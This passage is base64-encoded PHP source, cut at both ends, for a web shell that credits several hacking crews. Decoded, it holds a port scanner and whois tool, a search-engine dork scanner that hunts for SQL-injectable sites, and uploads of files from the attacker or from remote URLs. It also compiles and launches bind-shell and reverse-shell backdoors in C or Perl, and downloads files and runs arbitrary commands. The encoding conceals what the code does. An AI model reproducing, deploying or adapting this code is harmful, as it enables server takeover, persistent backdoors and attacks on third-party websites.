WYoaXNzZXQoJF9HRVRbJ3gnXSkgJiYgKCRfR0VUWyd4J10gPT0gJ3dob2lzJykpCiAgIHsKICAgPz4KICAgPGZvcm0gYWN0aW9uPSI/eT08P3BocCBlY2hvICRwd2Q7ID8+Jng9d2hvaXMiIG1ldGhvZD0icG9zdCI+CiAgIDw/cGhwCiAgIEBzZXRfdGltZV9saW1pdCgwKTsKICAgQGVycm9yX3JlcG9ydGluZygwKTsKICAgZnVuY3Rpb24gc3dzX2RvbWFpbl9pbmZvKCRzaXRlKQogICB7CiAgICRnZXRpcCA9IEBmaWxlX2dldF9jb250ZW50cygiaHR0cDovL25ldHdvcmt0b29scy5ubC93aG9pcy8kc2l0ZSIpOwogICBmbHVzaCgpOwogICAkaXAgPSBAZmluZGl0KCRnZXRpcCwnPHByZT4nLCc8L3ByZT4nKTsKICAgcmV0dXJuICRpcDsKICAgZmx1c2goKTsKICAgfQogICBmdW5jdGlvbiBzd3NfbmV0X2luZm8oJHNpdGUpCiAgIHsKICAgJGdldGlwID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCJodHRwOi8vbmV0d29ya3Rvb2xzLm5sL2FzaW5mby8kc2l0ZSIpOwogICAkaXAgPSBAZmluZGl0KCRnZXRpcCwnPHByZT4nLCc8L3ByZT4nKTsKICAgcmV0dXJuICRpcDsKICAgZmx1c2goKTsKICAgfQogICBmdW5jdGlvbiBzd3Nfc2l0ZV9zZXIoJHNpdGUpCiAgIHsKICAgJGdldGlwID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCJodHRwOi8vbmV0d29ya3Rvb2xzLm5sL3JldmVyc2VpcC8kc2l0ZSIpOwogICAkaXAgPSBAZmluZGl0KCRnZXRpcCwnPHByZT4nLCc8L3ByZT4nKTsKICAgcmV0dXJuICRpcDsKICAgZmx1c2goKTsKICAgfQogICBmdW5jdGlvbiBzd3Nfc3VwX2RvbSgkc2l0ZSkKICAgewogICAkZ2V0aXAgPSBAZmlsZV9nZXRfY29udGVudHMoImh0dHA6Ly93d3cubWFnaWMtbmV0LmluZm8vZG5zLWFuZC1pcC10b29scy5kbnNsb29rdXA/c3ViZD0iLiRzaXRlLiImU2VhcmNoK3N1YmRvbWFpbnM9RmluZCtzdWJkb21haW5zIik7CiAgICRpcCA9IEBmaW5kaXQoJGdldGlwLCc8c3Ryb25nPk5hbWVzZXJ2ZXJzIGZvdW5kOjwvc3Ryb25nPicsJzxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4nKTsKICAgcmV0dXJuICRpcDsKICAgZmx1c2goKTsKICAgfQogICBmdW5jdGlvbiBzd3NfcG9ydF9zY2FuKCRpcCkKICAgewogICAkbGlzdF9wb3N0ID0gYXJyYXkoJzgwJywnMjEnLCcyMicsJzIwODInLCcyNScsJzUzJywnMTEwJywnNDQzJywnMTQzJyk7CiAgIGZvcmVhY2ggKCRsaXN0X3Bvc3QgYXMgJG9fcG9ydCkKICAgewogICAkY29ubmVjdCA9IEBmc29ja29wZW4oJGlwLCRvX3BvcnQsJGVycm5vLCRlcnJzdHIsNSk7CiAgIGlmKCRjb25uZWN0KQogICB7CiAgIGVjaG8gIiAkaXAgOiAkb19wb3J0ID8/PyA8dSBzdHlsZT1cImNvbG9yOiAjRkYwMDAwXCI+T3BlbjwvdT4gPGJyIC8+PGJyIC8+IjsKICAgZmx1c2goKTsKICAgfQogICB9CiAgIH0KICAgZnVuY3Rpb24gZmluZGl0KCRteXRleHQsJHN0YXJ0dGFnLCRlbmR0YWcpIHsKICAgJHBvc0xlZnQgPSBAc3RyaXBvcygkbXl0ZXh0LCRzdGFydHRhZykrc3RybGVuKCRzdGFydHRhZyk7CiAgICRwb3NSaWdodCA9IEBzdHJpcG9zKCRteXRleHQsJGVuZHRhZywkcG9zTGVmdCsxKTsKICAgcmV0dXJuIEBzdWJzdHIoJG15dGV4dCwkcG9zTGVmdCwkcG9zUmlnaHQtJHBvc0xlZnQpOwogICBmbHVzaCgpOwogICB9CiAgIGVjaG8gJzxicj48YnI+PGNlbnRlcj4nOwogICBlY2hvICcKICAgIDxiciAvPgogICAgPGRpdiBjbGFzcz0ic2MiPjxmb3JtIG1ldGhvZD0icG9zdCI+PHRhYmxlIGNsYXNzPSJ0YWJuZXQiPgoJPHRyPjx0aCBjb2xzcGFuPSI1Ij5XZWJzaXRlIFdob2lzPC90aD48L3RyPgogICAgPHRyPjx0ZD5TaXRlIHRvIHNjYW4gPC90ZD48dGQ+OjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJzaXRlIiBzaXplPSI1MCIgc3R5bGU9ImNvbG9yOiNGRjAwMDA7YmFja2dyb3VuZC1jb2xvcjojMDAwMDAwIiBjbGFzcz0iaW5wdXR6IiB2YWx1ZT0ic2l0ZS5jb20iIC8+ICZuYnNwIDxpbnB1dCBjbGFzcz0iaW5wdXR6YnV0IiB0eXBlPSJzdWJtaXQiIHN0eWxlPSJjb2xvcjojRkYwMDAwO2JhY2tncm91bmQtY29sb3I6IzAwMDAwMCIgbmFtZT0ic2NhbiIgdmFsdWU9IlNjYW4gISIgLz48L3RkPjwvdHI+CiAgICA8L3RhYmxlPjwvZm9ybT48L2Rpdj4nOwogICBpZihpc3NldCgkX1BPU1RbJ3NjYW4nXSkpCiAgIHsKICAgJHNpdGUgPSBAaHRtbGVudGl0aWVzKCRfUE9TVFsnc2l0ZSddKTsKICAgaWYgKGVtcHR5KCRzaXRlKSl7ZGllKCc8YnIgLz48YnIgLz4gTm90IGFkZCBJUCAuLiAhJyk7fQogICAkaXBfcG9ydCA9IEBnZXRob3N0YnluYW1lKCRzaXRlKTsKICAgZWNobyAiCiAgIDxiciAvPjxkaXYgY2xhc3M9XCJzYzJcIj5TY2FubmluZyBbICRzaXRlIGlwICRpcF9wb3J0IF0gLi4uIDwvZGl2PgogICA8ZGl2IGNsYXNzPVwidGl0XCI+IDxiciAvPjxiciAvPnwtLS0tLS0tLS0tLS0tLSBQb3J0IFNlcnZlciAtLS0tLS0tLS0tLS0tLS0tLS18IDxiciAvPjwvZGl2PgogICA8ZGl2IGNsYXNzPVwicnVcIj4gPGJyIC8+PGJyIC8+PHByZT4KICAgIjsKICAgZWNobyAiIi5zd3NfcG9ydF9zY2FuKCRpcF9wb3J0KS4iIDwvcHJlPjwvZGl2PiAiOwogICBmbHVzaCgpOwogICBlY2hvICI8ZGl2IGNsYXNzPVwidGl0XCI+PGJyIC8+PGJyIC8+fC0tLS0tLS0tLS0tLS0tIERvbWFpbiBJbmZvIC0tLS0tLS0tLS0tLS0tLS0tLXwgPGJyIC8+IDwvZGl2PgogICA8ZGl2IGNsYXNzPVwicnVcIj4KICAgPHByZT4iLnN3c19kb21haW5faW5mbygkc2l0ZSkuIjwvcHJlPjwvZGl2PiI7CiAgIGZsdXNoKCk7CiAgIGVjaG8gIgogICA8ZGl2IGNsYXNzPVwidGl0XCI+IDxiciAvPjxiciAvPnwtLS0tLS0tLS0tLS0tLSBOZXR3b3JrIEluZm8gLS0tLS0tLS0tLS0tLS0tLS0tfCA8YnIgLz48L2Rpdj4KICAgPGRpdiBjbGFzcz1cInJ1XCI+CiAgIDxwcmU+Ii5zd3NfbmV0X2luZm8oJHNpdGUpLiI8L3ByZT4gPC9kaXY+IjsKICAgZmx1c2goKTsKICAgZWNobyAiPGRpdiBjbGFzcz1cInRpdFwiPiA8YnIgLz48YnIgLz58LS0tLS0tLS0tLS0tLS0gc3ViZG9tYWlucyBTZXJ2ZXIgLS0tLS0tLS0tLS0tLS0tLS0tfCA8YnIgLz48L2Rpdj4KICAgPGRpdiBjbGFzcz1cInJ1XCI+CiAgIDxwcmU+Ii5zd3Nfc3VwX2RvbSgkc2l0ZSkuIjwvcHJlPiA8L2Rpdj4iOwogICBmbHVzaCgpOwogICBlY2hvICI8ZGl2IGNsYXNzPVwidGl0XCI+IDxiciAvPjxiciAvPnwtLS0tLS0tLS0tLS0tLSBTaXRlIFNlcnZlciAtLS0tLS0tLS0tLS0tLS0tLS18IDxiciAvPjwvZGl2PgogICA8ZGl2IGNsYXNzPVwicnVcIj4KICAgPHByZT4iLnN3c19zaXRlX3Nlcigkc2l0ZSkuIjwvcHJlPiA8L2Rpdj4KICAgPGRpdiBjbGFzcz1cInRpdFwiPiA8YnIgLz48YnIgLz58LS0tLS0tLS0tLS0tLS0gRU5EIC0tLS0tLS0tLS0tLS0tLS0tLXwgPGJyIC8+PC9kaXY+IjsKICAgZmx1c2goKTsKICAgfQogICBlY2hvICc8L2NlbnRlcj4nOwogICB9Ci8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLwoKZWxzZWlmKGlzc2V0KCRfR0VUWyd4J10pICYmICgkX0dFVFsneCddID09ICdhYm91dCcpKQogICAgewogICAgPz4KICAgIDxmb3JtIGFjdGlvbj0iP3k9PD9waHAgZWNobyAkcHdkOyA/PiZ4PWFib3V0IiBtZXRob2Q9InBvc3QiPgoJPGNlbnRlcj48YnI+PGJyPgogICAgPGJyPjxicj48YnI+CTxicj48YnI+PGZvbnQgc2l6ZT0iNSIgY29sb3I9IiNGRjAwMDAiPlNwZWNpYWwgVGhhbmtzIDo8L2ZvbnQ+PC9jZW50ZXI+PGNlbnRlcj4KPG1hcnF1ZWUgZGlyZWN0aW9uPSJ1cCIgc2Nyb2xsYW1vdW50PSIyIiBiZ2NvbG9yPSIiIHdpZHRoPSIyNTAiIGhlaWdodD0iNDAiPjxjZW50ZXI+CjxwPjxiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjRkYwMDAwIj4tLT09W015IEZyaWVuZHNdPT0tLTxicj48YnI+VGlhZGEgTmFtYTxicj5Ub255IE1vdGE8YnI+Li9IdW1ibGUgT25lPGJyPkJsYWNrNDA0PGJyPkN5YmVyIFZpcnVzPGJyPlVzdGF6IFNldmVuPGJyPk1hY2hvIEFsZXg8YnI+Ck1hY2hvIFp1bDxicj4KQW5kIEFsbCBCbGFjayBDeWJlclNlYyBDcmV3IE1lbWJlcnM8YnI+Cgo8YnI+LS09PVtXZSBTdXBwb3J0XT09LS08YnI+PGJyPgpNZW1iZXJzIE9ubHk8YnI+Ck1hY2hvIEN5YmVyQ3JpbWU8YnI+CkN5YmVyZ2VkZG9uIENyZXc8YnI+CkNvZGUgTmV3YmllPGJyPgpQdXRlcmEgQXJteSBSaWxla3MgQ3Jldzxicj4KRHJhZ29uIEZvcmNlPGJyPgpTYXJhd2FrIEN5YmVyPGJyPkJsYWNrIEFzc2FzaW4gQ3Jldzxicj5QaGFudG9tIENyZXc8YnI+VW5pdGVkIE11c2xpbSBPZiBDeWJlciBBcm15PGJyPkhhcmltYXUgTWFsYXlhIEN5YmVyIEFybXk8YnI+CkluZG9uZXNpYSBDeWJlciBBcm15PGJyPgpJbmRvbmVzaWFuIFNlY3VyaXR5PGJyPgpJbmRvbmVzaWEgQmxhY2sgQ3liZXI8YnI+CkdhcnVkYSBDeWJlciBBcm15PGJyPgo8L2ZvbnQ+PC9iPjwvcD4KPC9jZW50ZXI+CjwvbWFycXVlZT48L2NlbnRlcj48YnI+PGJyPjxicj4KPD9waHAKfQovLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8KCmVsc2VpZihpc3NldCgkX0dFVFsneCddKSAmJiAoJF9HRVRbJ3gnXSA9PSAnc3FsaS1zY2FubmVyJykpCnsJCj8+Cjxmb3JtIGFjdGlvbj0iP3k9PD9waHAgZWNobyAkcHdkOyA/PiZhbXA7eD1zcWxpLXNjYW5uZXIiIG1ldGhvZD0icG9zdCI+Cgo8P3BocAoKZWNobyAnPGJyPjxicj48Y2VudGVyPjxmb3JtIG1ldGhvZD0icG9zdCIgYWN0aW9uPSIiPjxiPjxmb250IGNvbG9yPSJncmVlbiI+RG9yayA6IDwvZm9udD48L2I+ICZuYnNwOyZuYnNwOzxpbnB1dCBjbGFzcz0iaW5wdXR6IiB0eXBlPSJ0ZXh0IiB2YWx1ZT0iIiBuYW1lPSJkb3JrIiBzdHlsZT0iY29sb3I6I0ZGMDAwMDtiYWNrZ3JvdW5kLWNvbG9yOiMwMDAwMDAiIHNpemU9IjIwIi8+PGlucHV0IGNsYXNzPSJpbnB1dHpidXQiIHR5cGU9InN1Ym1pdCIgc3R5bGU9ImNvbG9yOiNGRjAwMDA7YmFja2dyb3VuZC1jb2xvcjojMDAwMDAwIiBuYW1lPSJzY2FuIiB2YWx1ZT0iU2NhbiI+PC9mb3JtPjwvY2VudGVyPic7CgpvYl9zdGFydCgpOwpzZXRfdGltZV9saW1pdCgwKTsKCmlmIChpc3NldCgkX1BPU1RbJ3NjYW4nXSkpIHsKCiRicm93c2VyID0gJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOwoKJGZpcnN0ID0gInN0YXJ0Z29vZ2xlLnN0YXJ0cGFnaW5hLm5sL2luZGV4LnBocD9xPSI7CiRzZWMgPSAiJnN0YXJ0PSI7CiRyZWcgPSAnLzxwIGNsYXNzPSJnIj48YSBocmVmPSIoLiopIiB0YXJnZXQ9Il9zZWxmIiBvbmNsaWNrPSIvJzsKCmZvcigkaWQ9MCA7ICRpZDw9MzA7ICRpZCsrKXsKJHBhZ2U9JGlkKjEwOwokZG9yaz11cmxlbmNvZGUoJF9QT1NUWydkb3JrJ10pOwokdXJsID0gJGZpcnN0LiRkb3JrLiRzZWMuJHBhZ2U7CgokY3VybCA9IGN1cmxfaW5pdCgkdXJsKTsKY3VybF9zZXRvcHQoJGN1cmwsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOwpjdXJsX3NldG9wdCgkY3VybCxDVVJMT1BUX1VTRVJBR0VOVCwnJGJyb3dzZXIpJyk7CiRyZXN1bHQgPSBjdXJsX2V4ZWMoJGN1cmwpOwpjdXJsX2Nsb3NlKCRjdXJsKTsKCnByZWdfbWF0Y2hfYWxsKCRyZWcsJHJlc3VsdCwkbWF0Y2hlcyk7Cn0KZm9yZWFjaCgkbWF0Y2hlc1sxXSBhcyAkc2l0ZSl7CgokdXJsID0gcHJlZ19yZXBsYWNlKCIvPS8iLCAiPSciLCAkc2l0ZSk7CiRjdXJsPWN1cmxfaW5pdCgpOwpjdXJsX3NldG9wdCgkY3VybCxDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLDEpOwpjdXJsX3NldG9wdCgkY3VybCxDVVJMT1BUX1VSTCwkdXJsKTsKY3VybF9zZXRvcHQoJGN1cmwsQ1VSTE9QVF9VU0VSQUdFTlQsJyRicm93c2VyKScpOwpjdXJsX3NldG9wdCgkY3VybCxDVVJMT1BUX1RJTUVPVVQsJzUnKTsKJEdFVD1jdXJsX2V4ZWMoJGN1cmwpOyAKaWYgKHByZWdfbWF0Y2goIi9lcnJvciBpbiB5b3VyIFNRTCBzeW50YXh8bXlzcWxfZmV0Y2hfYXJyYXkoKXxleGVjdXRlIHF1ZXJ5fG15c3FsX2ZldGNoX29iamVjdCgpfG15c3FsX251bV9yb3dzKCl8bXlzcWxfZmV0Y2hfYXNzb2MoKXxteXNxbF9mZXRjaCYjODIwMztfcm93KCl8U0VMRUNUICogCgpGUk9NfHN1cHBsaWVkIGFyZ3VtZW50IGlzIG5vdCBhIHZhbGlkIE15U1FMfFN5bnRheCBlcnJvcnxGYXRhbCBlcnJvci9pIiwkR0VUKSkgeyAKZWNobyAnPGNlbnRlcj48Yj48Zm9udCBjb2xvcj0iI0UxMDAwMCI+Rm91bmQgOiA8L2ZvbnQ+PGEgaHJlZj0iJy4kdXJsLiciIHRhcmdldD0iX2JsYW5rIj4nLiR1cmwuJzwvYT48Zm9udCBjb2xvcj0jRkYwMDAwPiAmIzYwOy0tIFNRTEkgVnVsbiAKCkZvdW5kLi48L2ZvbnQ+PC9iPjwvY2VudGVyPic7Cm9iX2ZsdXNoKCk7Zmx1c2goKTsgCn1lbHNleyAKZWNobyAnPGNlbnRlcj48Zm9udCBjb2xvcj0iI0ZGRkZGRiI+PGI+Jy4kdXJsLic8L2I+PC9mb250Pjxmb250IGNvbG9yPSIjMEZGRjE2Ij4gJiM2MDstLSBOb3QgVnVsbjwvZm9udD48L2NlbnRlcj4nOwpvYl9mbHVzaCgpO2ZsdXNoKCk7IAp9Cm9iX2ZsdXNoKCk7Zmx1c2goKTsKfQpvYl9mbHVzaCgpO2ZsdXNoKCk7Cn0Kb2JfZmx1c2goKTtmbHVzaCgpOwp9CgplbHNlaWYoaXNzZXQoJF9HRVRbJ3gnXSkgJiYgKCRfR0VUWyd4J10gPT0gJ3VwbG9hZCcpKXsgCmlmKGlzc2V0KCRfUE9TVFsndXBsb2FkY29tcCddKSl7CglpZihpc191cGxvYWRlZF9maWxlKCRfRklMRVNbJ2ZpbGUnXVsndG1wX25hbWUnXSkpewoJCSRwYXRoID0gbWFnaWNib29tKCRfUE9TVFsncGF0aCddKTsKCQkkZm5hbWUgPSAkX0ZJTEVTWydmaWxlJ11bJ25hbWUnXTsKCQkkdG1wX25hbWUgPSAkX0ZJTEVTWydmaWxlJ11bJ3RtcF9uYW1lJ107CgkJJHBpbmRhaCA9ICRwYXRoLiRmbmFtZTsKCQkkc3RhdCA9IEBtb3ZlX3VwbG9hZGVkX2ZpbGUoJHRtcF9uYW1lLCRwaW5kYWgpOwkJCgkJaWYgKCRzdGF0KSB7CgkJCSRtc2cgPSAiZmlsZSB1cGxvYWRlZCB0byAkcGluZGFoIjsKCQl9CgkJZWxzZSAkbXNnID0gImZhaWxlZCB0byB1cGxvYWQgJGZuYW1lIjsKCX0KCWVsc2UgJG1zZyA9ICJmYWlsZWQgdG8gdXBsb2FkICRmbmFtZSI7Cn0KZWxzZWlmKGlzc2V0KCRfUE9TVFsndXBsb2FkdXJsJ10pKXsKCSRwaWxpaGFuID0gdHJpbSgkX1BPU1RbJ3BpbGloYW4nXSk7Cgkkd3VybCA9IHRyaW0oJF9QT1NUWyd3dXJsJ10pOwoJJHBhdGggPSBtYWdpY2Jvb20oJF9QT1NUWydwYXRoJ10pOwoJJG5hbWFmaWxlID0gZG93bmxvYWQoJHBpbGloYW4sJHd1cmwpOwoJJHBpbmRhaCA9ICRwYXRoLiRuYW1hZmlsZTsKCWlmKGlzX2ZpbGUoJHBpbmRhaCkpIHsKCQkkbXNnID0gImZpbGUgdXBsb2FkZWQgdG8gJHBpbmRhaCI7Cgl9CgllbHNlICRtc2cgPSAiZmFpbGVkIHRvIHVwbG9hZCAkbmFtYWZpbGUiOwoKfQo/Pgo8Zm9ybSBhY3Rpb249Ij95PTw/cGhwIGVjaG8gJHB3ZDsgPz4mYW1wO3g9dXBsb2FkIiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBtZXRob2Q9InBvc3QiPgo8dGFibGUgY2xhc3M9InRhYm5ldCIgc3R5bGU9IndpZHRoOjMyMHB4O3BhZGRpbmc6MCAxcHg7Ij4KPHRyPjx0aCBjb2xzcGFuPSIyIj5VcGxvYWQgZnJvbSBjb21wdXRlcjwvdGg+PC90cj4KPHRyPjx0ZCBjb2xzcGFuPSIyIj48cCBzdHlsZT0idGV4dC1hbGlnbjpjZW50ZXI7Ij48aW5wdXQgc3R5bGU9ImNvbG9yOiMwMDAwMDA7IiB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlIiAvPjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9InVwbG9hZGNvbXAiIGNsYXNzPSJpbnB1dHpidXQiIHZhbHVlPSJHbyIgc3R5bGU9IndpZHRoOjgwcHg7Ij48L3A+PC90ZD4KPHRyPjx0ZCBjb2xzcGFuPSIyIj48aW5wdXQgdHlwZT0idGV4dCIgY2xhc3M9ImlucHV0eiIgc3R5bGU9IndpZHRoOjk5JTsiIG5hbWU9InBhdGgiIHZhbHVlPSI8P3BocCBlY2hvICRwd2Q7ID8+IiAvPjwvdGQ+PC90cj4KPC90cj4KPC90YWJsZT48L2Zvcm0+Cjx0YWJsZSBjbGFzcz0idGFibmV0IiBzdHlsZT0id2lkdGg6MzIwcHg7cGFkZGluZzowIDFweDsiPgo8dHI+PHRoIGNvbHNwYW49IjIiPlVwbG9hZCBmcm9tIHVybDwvdGg+PC90cj4KPHRyPjx0ZCBjb2xzcGFuPSIyIj48Zm9ybSBtZXRob2Q9InBvc3QiIHN0eWxlPSJtYXJnaW46MDtwYWRkaW5nOjA7IiBhY3Rpb25zPSI/eT08P3BocCBlY2hvICRwd2Q7ID8+JmFtcDt4PXVwbG9hZCI+Cjx0YWJsZT48dHI+PHRkPnVybDwvdGQ+PHRkPjxpbnB1dCBjbGFzcz0iaW5wdXR6IiB0eXBlPSJ0ZXh0IiBuYW1lPSJ3dXJsIiBzdHlsZT0id2lkdGg6MjUwcHg7IiB2YWx1ZT0iaHR0cDovL3d3dy5zb21lLWNvZGUvZXhwbG9pdHMuYyI+PC90ZD48L3RyPgo8dHI+PHRkIGNvbHNwYW49IjIiPjxpbnB1dCB0eXBlPSJ0ZXh0IiBjbGFzcz0iaW5wdXR6IiBzdHlsZT0id2lkdGg6OTklOyIgbmFtZT0icGF0aCIgdmFsdWU9Ijw/cGhwIGVjaG8gJHB3ZDsgPz4iIC8+PC90ZD48L3RyPgo8dHI+PHRkPjxzZWxlY3Qgc2l6ZT0iMSIgY2xhc3M9ImlucHV0eiIgbmFtZT0icGlsaWhhbiI+CjxvcHRpb24gdmFsdWU9Ind3Z2V0Ij53Z2V0PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IndseW54Ij5seW54PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IndmcmVhZCI+ZnJlYWQ8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0id2ZldGNoIj5mZXRjaDwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSJ3bGlua3MiPmxpbmtzPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IndnZXQiPkdFVDwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSJ3Y3VybCI+Y3VybDwvb3B0aW9uPgo8L3NlbGVjdD48L3RkPjx0ZCBjb2xzcGFuPSIyIj48aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJ1cGxvYWR1cmwiIGNsYXNzPSJpbnB1dHpidXQiIHZhbHVlPSJHbyIgc3R5bGU9IndpZHRoOjI0NnB4OyI+PC90ZD48L3RyPjwvZm9ybT48L3RhYmxlPjwvdGQ+CjwvdHI+CjwvdGFibGU+CjxkaXYgc3R5bGU9InRleHQtYWxpZ246Y2VudGVyO21hcmdpbjoycHg7Ij48P3BocCBlY2hvICRtc2c7ID8+PC9kaXY+Cjw/cGhwIH0KZWxzZWlmKGlzc2V0KCRfR0VUWyd4J10pICYmICgkX0dFVFsneCddID09ICduZXRzcGxvaXQnKSl7IAoKLy8gYmluZCBjb25uZWN0IHdpdGggYwppZiAoaXNzZXQoJF9QT1NUWydiaW5kJ10pICYmICFlbXB0eSgkX1BPU1RbJ3BvcnQnXSkgJiYgIWVtcHR5KCRfUE9TVFsnYmluZF9wYXNzJ10pICYmICgkX1BPU1RbJ3VzZSddID09ICdDJykpIHsKCSRwb3J0ID0gdHJpbSgkX1BPU1RbJ3BvcnQnXSk7CgkkcGFzc3dyZCA9IHRyaW0oJF9QT1NUWydiaW5kX3Bhc3MnXSk7Cgl0dWxpcygiYmRjLmMiLCRwb3J0X2JpbmRfYmRfYyk7CiAJZXhlKCJnY2MgLW8gYmRjIGJkYy5jIik7CiAJZXhlKCJjaG1vZCA3NzcgYmRjIik7CiAJQHVubGluaygiYmRjLmMiKTsKIAlleGUoIi4vYmRjICIuJHBvcnQuIiAiLiRwYXNzd3JkLiIgJiIpOwogCSRzY2FuID0gZXhlKCJwcyBhdXgiKTsgCglpZihlcmVnaSgiLi9iZGMgJHBvciIsJHNjYW4pKXsgJG1zZyA9ICI8cD5Qcm9jZXNzIGZvdW5kIHJ1bm5pbmcsIGJhY2tkb29yIHNldHVwIHN1Y2Nlc3NmdWxseS48L3A+IjsgfQoJZWxzZSB7ICRtc2cgPSAgIjxwPlByb2Nlc3Mgbm90IGZvdW5kIHJ1bm5pbmcsIGJhY2tkb29yIG5vdCBzZXR1cCBzdWNjZXNzZnVsbHkuPC9wPiI7IH0KfQovLyBiaW5kIGNvbm5lY3Qgd2l0aCBwZXJsCmVsc2VpZiAoaXNzZXQoJF9QT1NUWydiaW5kJ10pICYmICFlbXB0eSgkX1BPU1RbJ3BvcnQnXSkgJiYgIWVtcHR5KCRfUE9TVFsnYmluZF9wYXNzJ10pICYmICgkX1BPU1RbJ3VzZSddID09ICdQZXJsJykpIHsKCSRwb3J0ID0gdHJpbSgkX1BPU1RbJ3BvcnQnXSk7CgkkcGFzc3dyZCA9IHRyaW0oJF9QT1NUWydiaW5kX3Bhc3MnXSk7Cgl0dWxpcygiYmRwIiwkcG9ydF9iaW5kX2JkX3BsKTsKCWV4ZSgiY2htb2QgNzc3IGJkcCIpOwogCSRwMj13aGljaCgicGVybCIpOwogCWV4ZSgkcDIuIiBiZHAgIi4kcG9ydC4iICYiKTsKIAkkc2NhbiA9IGV4ZSgicHMgYXV4Iik7IAoJaWYoZXJlZ2koIiRwMiBiZHAgJHBvcnQiLCRzY2FuKSl7ICRtc2cgPSAiPHA+UHJvY2VzcyBmb3VuZCBydW5uaW5nLCBiYWNrZG9vciBzZXR1cCBzdWNjZXNzZnVsbHkuPC9wPiI7IH0KCWVsc2UgeyAkbXNnID0gIjxwPlByb2Nlc3Mgbm90IGZvdW5kIHJ1bm5pbmcsIGJhY2tkb29yIG5vdCBzZXR1cCBzdWNjZXNzZnVsbHkuPC9wPiI7IH0KfQovLyBiYWNrIGNvbm5lY3Qgd2l0aCBjCmVsc2VpZiAoaXNzZXQoJF9QT1NUWydiYWNrY29ubiddKSAmJiAhZW1wdHkoJF9QT1NUWydiYWNrcG9ydCddKSAmJiAhZW1wdHkoJF9QT1NUWydpcCddKSAmJiAoJF9QT1NUWyd1c2UnXSA9PSAnQycpKSB7CgkkaXAgPSB0cmltKCRfUE9TVFsnaXAnXSk7CgkkcG9ydCA9IHRyaW0oJF9QT1NUWydiYWNrcG9ydCddKTsKCXR1bGlzKCJiY2MuYyIsJGJhY2tfY29ubmVjdF9jKTsKIAlleGUoImdjYyAtbyBiY2MgYmNjLmMiKTsKIAlleGUoImNobW9kIDc3NyBiY2MiKTsKIAlAdW5saW5rKCJiY2MuYyIpOwoJZXhlKCIuL2JjYyAiLiRpcC4iICIuJHBvcnQuIiAmIik7CgkkbXNnID0gIk5vdyBzY3JpcHQgdHJ5IGNvbm5lY3QgdG8gIi4kaXAuIiBwb3J0ICIuJHBvcnQuIiAuLi4iOwp9Ci8vIGJhY2sgY29ubmVjdCB3aXRoIHBlcmwKZWxzZWlmIChpc3NldCgkX1BPU1RbJ2JhY2tjb25uJ10pICYmICFlbXB0eSgkX1BPU1RbJ2JhY2twb3J0J10pICYmICFlbXB0eSgkX1BPU1RbJ2lwJ10pICYmICgkX1BPU1RbJ3VzZSddID09ICdQZXJsJykpIHsKCSRpcCA9IHRyaW0oJF9QT1NUWydpcCddKTsKCSRwb3J0ID0gdHJpbSgkX1BPU1RbJ2JhY2twb3J0J10pOwoJdHVsaXMoImJjcCIsJGJhY2tfY29ubmVjdCk7CglleGUoImNobW9kICt4IGJjcCIpOwoJJHAyPXdoaWNoKCJwZXJsIik7CiAJZXhlKCRwMi4iIGJjcCAiLiRpcC4iICIuJHBvcnQuIiAmIik7CiAJJG1zZyA9ICJOb3cgc2NyaXB0IHRyeSBjb25uZWN0IHRvICIuJGlwLiIgcG9ydCAiLiRwb3J0LiIgLi4uIjsKfQplbHNlaWYgKGlzc2V0KCRfUE9TVFsnZXhwY29tcGlsZSddKSAmJiAhZW1wdHkoJF9QT1NUWyd3dXJsJ10pICYmICFlbXB0eSgkX1BPU1RbJ3djbWQnXSkpCnsKCSRwaWxpaGFuID0gdHJpbSgkX1BPU1RbJ3BpbGloYW4nXSk7Cgkkd3VybCA9IHRyaW0oJF9QT1NUWyd3dXJsJ10pOwoJJG5hbWFmaWxlID0gZG93bmxvYWQoJHBpbGloYW4sJHd1cmwpOwoJaWYoaXNfZmlsZSgkbmFtYWZpbGUpKSB7CgkKCSRtc2cgPSBleGUoJHdjbWQpOwoJfQoJZWxzZSAkbXNnID0gImVycm9yOiBmaWxlIG5vdCBmb3VuZCAkbmFtYWZpbGUiOwp9Cgo/Pgo8dGFibGUgY2xhc3M9InRhYm5ldCI+Cjx0cj48dGg+UG9ydCBCaW5kaW5nPC90aD48dGg+Q29ubmVjdCBCYWNrPC90aD48dGg+TG9hZCBhbmQgRXhwbG9pdDwvdGg+PC90cj4KPHRyPgo8dGQ+Cjx0YWJsZT4KPGZvcm0gbWV0aG9kPSJwb3N0IiBhY3Rpb249Ij95PTw/cGhwIGVjaG8gJHB3ZDsgPz4mYW1wO3g9bmV0c3Bsb2l0Ij4KPHRyPjx0ZD5Qb3J0PC90ZD48dGQ+PGlucHV0IGNsYXNzPSJpbnB1dHoiIHR5cGU9InRleHQiIG5hbWU9InBvcnQiIHNpemU9IjI2IiB2YWx1ZT0iPD9waHAgZWNobyAkYmluZHBvcnQgPz4iPjwvdGQ+PC90cj4KPHRyPjx0ZD5QYXNzd29yZDwvdGQ+PHRkPjxpbnB1dCBjbGFzcz0iaW5wdXR6IiB0eXBlPSJ0ZXh0IiBuYW1lPSJiaW5kX3Bhc3MiIHNpemU9IjI2IiB2YWx1ZT0iPD9waHAgZWNobyAkYmluZHB